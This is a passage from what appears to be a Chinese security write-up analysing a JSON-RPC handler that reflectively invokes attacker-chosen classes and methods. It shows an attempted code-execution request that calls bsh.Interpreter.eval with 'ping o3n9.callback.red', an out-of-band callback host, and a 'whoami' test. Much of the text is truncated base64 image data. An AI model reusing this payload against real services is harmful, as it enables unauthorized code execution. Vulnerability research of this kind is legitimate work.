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 truncated
|
||||
<p>在call()中,获取json中的rpcname和methond和params,通过paramList存储params参数,params参数最多不超过10个</p>
|
||||
<p><a id=img6 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311104833-d988e24e-df51-1.png><img src=data:image/png;base64,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 truncated
|
||||
<p>然后一顿字符串处理,直接拉到call函数最后,instance、getMethod、method.invoke获取实例、获取类方法、反射调用,并且通过上面可以知道,所以参数都可控。</p>
|
||||
<p><a id=img7 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311104848-e30770ba-df51-1.png><img src="data:image/png;base64,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 truncated
|
||||
<p>看起来是直接代码执行。</p>
|
||||
<h2 id=toc-1>0x01</h2>
|
||||
<p>直接传递如下</p>
|
||||
<pre><code>rpcname为bsh.Interpreter
|
||||
method为eval
|
||||
params为ping o3n9.callback.red</code></pre>
|
||||
<p>直接发包,返回500,没这么简单。。。<br>
|
||||
先把命令改成whoami,再次发送,还是500,参数这么简单,中间代码是处理字符串和获取参数对应的class应该不会出什么问题<br>
|
||||
然后详细看了下获取实例的函数ServiceLocator.getService(className);</p>
|
||||
<p><a id=img8 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311104910-efbd343e-df51-1.png title><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA0IAAACsCAYAAABW+BwbAADCNElEQVR4nOz9d5xdx53YiX7rxJv7ds4B3ciRiATACOYgUaQ00kRN8qxnxh57nfZ9dnZfsHfX3s/n7bPXYTy2J8saxRElkqJIiWLOAQQBEhkNNIDOOd14QtX749y+3Q00EgkQoHi+nw9IhD7n1Kk6VfXLJdatW6cICQkJCQkJCQkJCQn5HKFd7waEhISEhISEhISEhIR82oSKUEhISEhISEhISEjI545QEQoJCQkJCQkJCQkJ+dwRKkIhISEhISEhISEhIZ87QkUoJCQkJCQkJCQkJORzR6gIhYSEhISEhISEhIR87ggVoZCQkJCQkJCQkJCQzx2hIhQSEhISEhISEhIS8rkjVIRCQkJCQkJCQkJCQj53hIpQSEhISEhISEhISMjnjlARCgkJCQkJCQkJCQn53BEqQiEhISEhISEhISEhnztCRSgkJCQkJCQkJCQk5HNHqAiFhISEhISEhISEhHzuCBWhkJCQkJCQkJCQkJDPHaEiFBISEhISEhISEhLyuSNUhEJCQkJCQkJCQkJCPneEilBISEhISEhISEhIyOeOUBEKCQkJCQkJCQkJCfncESpCISEhISEhISEhISGfO0JFKCQkJCQkJCQkJCTkc0eoCIWEhISEhISEhISEfO4IFaGQkJCQkJCQkJCQkM8doSIUEhISEhIS8rGQUiKlvN7NCAm5Kvi+j1LqejdjSZRS5fl2o7bxs0ioCIWEhISEhIRcEb7vIaVPQ0sbHctXI6V/vZsUEvKJkFKy7qYdJJMVeK57wyj4UkqcYgHLsqlvaqW9ayXxZAp1g7Tvs45xvRsQMo8CfAmeEmhCYQjQxPVuVcjl4IXj9omQvo/vewBouo6uh0tTyC8mrqdw/cCaa5sC/TO2WCglEUJj9catbLv1buobWzhx8AAnj36EZunXu3nXDN/3kH6g7OmGiaaFduRfNKTvc/Md93Lfl36VvjPdvPLck4wO9AVjLa7PPHWKBZatWMv22+6hpWM5VsTGsiL8+Dt/yQfvvoZl2delXb9IfO6lDU8FyocuQNfgcj91qQLh97wLVDBfDHFl80YpiJpwc53P7nqH3ozOT3stRvKhUH0joxRYOtzR5LOr3qU3o/NSv8nZDBg3+D4ppR+EAUjF3IerCYGmGxfc5JVSeK4LAvSL/NyVoJSkc/V6tuy+E0M3ObjvLY59tA/fDy3Mv2j4MlACpAzmDiWjgaEJT